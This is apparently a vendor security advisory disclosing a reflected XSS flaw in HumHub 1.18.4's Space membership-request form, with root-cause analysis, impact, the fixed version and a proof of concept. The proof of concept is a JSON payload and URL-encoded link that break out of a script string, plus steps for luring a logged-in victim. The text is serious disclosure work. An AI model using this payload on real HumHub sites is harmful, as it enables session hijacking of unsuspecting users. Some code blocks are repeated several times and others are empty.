HumHub Community Edition 1.18.4-pl1 - Reflected XSS in Space membership request button rendering

7,2

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Miguel Gómez

Summary

Full name

HumHub Community Edition 1.18.4-pl1 - Reflected XSS in Space membership request button rendering allowing authenticated session actions

Code name

State

Public

Release date

Affected product

HumHub

Vendor

HumHub

Affected version(s)

1.18.4

Fixed version(s)

1.18.5

Vulnerability name

Reflected cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

7.2

Exploit available

Yes

Description

HumHub Community Edition 1.18.4 contains a reflected cross-site scripting vulnerability in the Space membership-request workflow. An attacker can place attacker-controlled button configuration in the options query-string parameter of space/membership/request-membership-form, lure an authenticated non-member into submitting the legitimate membership request form, and cause the server to return JavaScript containing attacker-controlled code.

The vulnerable workflow treats request-supplied presentation options as trusted UI configuration. The options survive in a hidden form field, are decoded after the victim submits the form with a valid CSRF token, are merged into the membership button configuration, and are rendered into a JavaScript string without JavaScript-safe encoding.

Successful exploitation executes arbitrary JavaScript in the victim's HumHub origin. The payload is reflected rather than stored, but it executes in an authenticated session and can perform same-origin actions with the victim's permissions.

Vulnerability

Root Cause

  1. Attacker-controlled options are accepted from GET

    MembershipController::actionRequestMembershipForm() initializes the request form and assigns options directly from the query string when rendering the modal:

    
    
    
    
    
    
    
    
  2. The model treats the options object as safe

    RequestMembershipForm::rules() marks the attribute as safe:

    
    
    
    
    
    
    
    

    This allows the attacker to provide arbitrary JSON structure instead of a constrained, server-generated membership-button configuration.

  3. The modal preserves the attacker-controlled value

    The form view writes the value into a hidden input:

    <?= $form->field($model, 'options')->hiddenInput()->label(false)
    <?= $form->field($model, 'options')->hiddenInput()->label(false)
    <?= $form->field($model, 'options')->hiddenInput()->label(false)
    <?= $form->field($model, 'options')->hiddenInput()->label(false)

    The final POST is legitimate from HumHub's perspective: the victim submits the normal modal form with a valid session-bound CSRF token.

  4. The server decodes and trusts the hidden options after POST

    After validation, the controller decodes the hidden value and passes it to MembershipButton:

    
    
    
    
    
    
    
    

    JSON parsing reconstructs the attacker-controlled structure; it does not make string values safe for HTML or JavaScript contexts.

  5. The options are merged into trusted button defaults

    MembershipButton::getOptions() uses ArrayHelper::merge():

    This lets the attacker override fields such as:

    cancelPendingMembership.title
    cancelPendingMembership.title
    cancelPendingMembership.title
    cancelPendingMembership.title
  6. The overridden title is rendered as raw anchor content

    After the membership request is created, the victim's membership status is STATUS_APPLICANT, so membershipButton.php renders the pending-membership button:

    Yii's HTML helper does not automatically encode tag content; callers must encode user-controlled content before passing it as anchor content.

  7. The generated HTML is embedded into JavaScript without JS encoding

    requestMembershipSave.php interpolates the complete button HTML into a single-quoted JavaScript literal:

    <script <?= Html::nonce() ?>>
        $('[data-space-request-membership=<?= $spaceId ?>]').replaceWith('<?= $newMembershipButton ?>');
    </script>
    <script <?= Html::nonce() ?>>
        $('[data-space-request-membership=<?= $spaceId ?>]').replaceWith('<?= $newMembershipButton ?>');
    </script>
    <script <?= Html::nonce() ?>>
        $('[data-space-request-membership=<?= $spaceId ?>]').replaceWith('<?= $newMembershipButton ?>');
    </script>
    <script <?= Html::nonce() ?>>
        $('[data-space-request-membership=<?= $spaceId ?>]').replaceWith('<?= $newMembershipButton ?>');
    </script>

    A payload containing a single quote terminates the literal and executes as JavaScript. Because the injection lands inside a script block that already has a valid HumHub CSP nonce, CSP does not prevent execution.

Impact

An attacker can execute arbitrary JavaScript in the browser of an authenticated HumHub user who opens the crafted membership-request link and submits the normal request form.

Potential impact includes:

  • Reading data available to the victim's HumHub session and same-origin JavaScript context.

  • Performing same-origin requests with the victim's privileges.

  • Modifying user or Space state available to the victim.

  • Escalating impact if the victim has administrative or Space-management privileges.

The payload is reflected and requires user interaction. It is not stored in the database through this path.

PoC

Preconditions

  • HumHub Community Edition 1.18.4 or 1.18.4-pl1.

  • The victim is authenticated.

  • The victim is not already a member of the target Space and does not already have a pending membership request.

  • The target Space is reachable by the victim and can display the membership-request modal. The reported scenario uses the Invite and request join policy.

  • The attacker can deliver a crafted URL to the victim. If the attacker wants to control the target Space, the attacker also needs an account with permission to create or administer such a Space.

Step 1 - Identify a target Space

Record the Space cguid from a normal Space URL or membership request URL.

The legitimate request form URL has this shape:

GET /index.php?r=space%2Fmembership%2Frequest-membership-form&options=<JSON>&cguid=<SPACE_GUID>
GET /index.php?r=space%2Fmembership%2Frequest-membership-form&options=<JSON>&cguid=<SPACE_GUID>
GET /index.php?r=space%2Fmembership%2Frequest-membership-form&options=<JSON>&cguid=<SPACE_GUID>
GET /index.php?r=space%2Fmembership%2Frequest-membership-form&options=<JSON>&cguid=<SPACE_GUID>

Step 2 - Craft the options payload

Use a JSON object that overrides the pending-membership button title:

{
  "becomeMember": {
    "mode": "link"
  },
  "acceptInvite": {
    "mode": "link"
  },
  "cancelPendingMembership": {
    "title": "');alert('PWNED');//"
  }
}
{
  "becomeMember": {
    "mode": "link"
  },
  "acceptInvite": {
    "mode": "link"
  },
  "cancelPendingMembership": {
    "title": "');alert('PWNED');//"
  }
}
{
  "becomeMember": {
    "mode": "link"
  },
  "acceptInvite": {
    "mode": "link"
  },
  "cancelPendingMembership": {
    "title": "');alert('PWNED');//"
  }
}
{
  "becomeMember": {
    "mode": "link"
  },
  "acceptInvite": {
    "mode": "link"
  },
  "cancelPendingMembership": {
    "title": "');alert('PWNED');//"
  }
}

URL-encode the JSON and construct the link:

http://localhost:8081/index.php?r=space%2Fmembership%2Frequest-membership-form&options=<URL_ENCODED_JSON>&cguid=<TARGET_SPACE_CGUID>
http://localhost:8081/index.php?r=space%2Fmembership%2Frequest-membership-form&options=<URL_ENCODED_JSON>&cguid=<TARGET_SPACE_CGUID>
http://localhost:8081/index.php?r=space%2Fmembership%2Frequest-membership-form&options=<URL_ENCODED_JSON>&cguid=<TARGET_SPACE_CGUID>
http://localhost:8081/index.php?r=space%2Fmembership%2Frequest-membership-form&options=<URL_ENCODED_JSON>&cguid=<TARGET_SPACE_CGUID>

Example:

http://localhost:8081/index.php?r=space%2Fmembership%2Frequest-membership-form&options=%7b%0d%0a%20%20%22%62%65%63%6f%6d%65%4d%65%6d%62%65%72%22%3a%7b%22%6d%6f%64%65%22%3a%22%6c%69%6e%6b%22%7d%2c%0d%0a%20%20%22%61%63%63%65%70%74%49%6e%76%69%74%65%22%3a%7b%22%6d%6f%64%65%22%3a%22%6c%69%6e%6b%22%7d%2c%0d%0a%20%20%22%63%61%6e%63%65%6c%50%65%6e%64%69%6e%67%4d%65%6d%62%65%72%73%68%69%70%22%3a%7b%0d%0a%20%20%20%20%22%74%69%74%6c%65%22%3a%22%27%29%3b%61%6c%65%72%74%28%27%50%57%4e%45%44%27%29%3b%2f%2f%22%0d%0a%20%20%7d%0d%0a%7d&cguid=<TARGET_SPACE_CGUID>
http://localhost:8081/index.php?r=space%2Fmembership%2Frequest-membership-form&options=%7b%0d%0a%20%20%22%62%65%63%6f%6d%65%4d%65%6d%62%65%72%22%3a%7b%22%6d%6f%64%65%22%3a%22%6c%69%6e%6b%22%7d%2c%0d%0a%20%20%22%61%63%63%65%70%74%49%6e%76%69%74%65%22%3a%7b%22%6d%6f%64%65%22%3a%22%6c%69%6e%6b%22%7d%2c%0d%0a%20%20%22%63%61%6e%63%65%6c%50%65%6e%64%69%6e%67%4d%65%6d%62%65%72%73%68%69%70%22%3a%7b%0d%0a%20%20%20%20%22%74%69%74%6c%65%22%3a%22%27%29%3b%61%6c%65%72%74%28%27%50%57%4e%45%44%27%29%3b%2f%2f%22%0d%0a%20%20%7d%0d%0a%7d&cguid=<TARGET_SPACE_CGUID>
http://localhost:8081/index.php?r=space%2Fmembership%2Frequest-membership-form&options=%7b%0d%0a%20%20%22%62%65%63%6f%6d%65%4d%65%6d%62%65%72%22%3a%7b%22%6d%6f%64%65%22%3a%22%6c%69%6e%6b%22%7d%2c%0d%0a%20%20%22%61%63%63%65%70%74%49%6e%76%69%74%65%22%3a%7b%22%6d%6f%64%65%22%3a%22%6c%69%6e%6b%22%7d%2c%0d%0a%20%20%22%63%61%6e%63%65%6c%50%65%6e%64%69%6e%67%4d%65%6d%62%65%72%73%68%69%70%22%3a%7b%0d%0a%20%20%20%20%22%74%69%74%6c%65%22%3a%22%27%29%3b%61%6c%65%72%74%28%27%50%57%4e%45%44%27%29%3b%2f%2f%22%0d%0a%20%20%7d%0d%0a%7d&cguid=<TARGET_SPACE_CGUID>
http://localhost:8081/index.php?r=space%2Fmembership%2Frequest-membership-form&options=%7b%0d%0a%20%20%22%62%65%63%6f%6d%65%4d%65%6d%62%65%72%22%3a%7b%22%6d%6f%64%65%22%3a%22%6c%69%6e%6b%22%7d%2c%0d%0a%20%20%22%61%63%63%65%70%74%49%6e%76%69%74%65%22%3a%7b%22%6d%6f%64%65%22%3a%22%6c%69%6e%6b%22%7d%2c%0d%0a%20%20%22%63%61%6e%63%65%6c%50%65%6e%64%69%6e%67%4d%65%6d%62%65%72%73%68%69%70%22%3a%7b%0d%0a%20%20%20%20%22%74%69%74%6c%65%22%3a%22%27%29%3b%61%6c%65%72%74%28%27%50%57%4e%45%44%27%29%3b%2f%2f%22%0d%0a%20%20%7d%0d%0a%7d&cguid=<TARGET_SPACE_CGUID>

Step 3 - Trigger execution

  1. Deliver the crafted URL to the authenticated victim.

  2. The victim opens the URL and sees the legitimate Request Membership modal.

  3. The victim enters a normal message.

  4. The victim clicks Send.

Expected result:

  • HumHub accepts the form submission with the victim's valid CSRF token.

  • HumHub creates the pending membership request.

  • The AJAX response renders the new pending-membership button inside requestMembershipSave.php.

  • The injected single quote breaks out of the replaceWith() JavaScript string.

  • alert('PWNED') executes in the victim's authenticated HumHub origin.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-18756 to refer to this issue from now on.

System Information

  • Humhub

  • Version 1.18.4

  • Operating System: Any

References

Mitigation

An updated version of HumHub is available on the vendor page.

Credits

The vulnerability was discovered by Miguel Gomez from Fluid Attacks' Offensive Team using the AI SAST Scanner.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor requested re-testing

Follow-up with vendor

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

logo-fluidattacks-white-png

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Consulta IA sobre Fluid Attacks

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

logo-fluidattacks-white-png

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

logo-fluidattacks-white-png

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.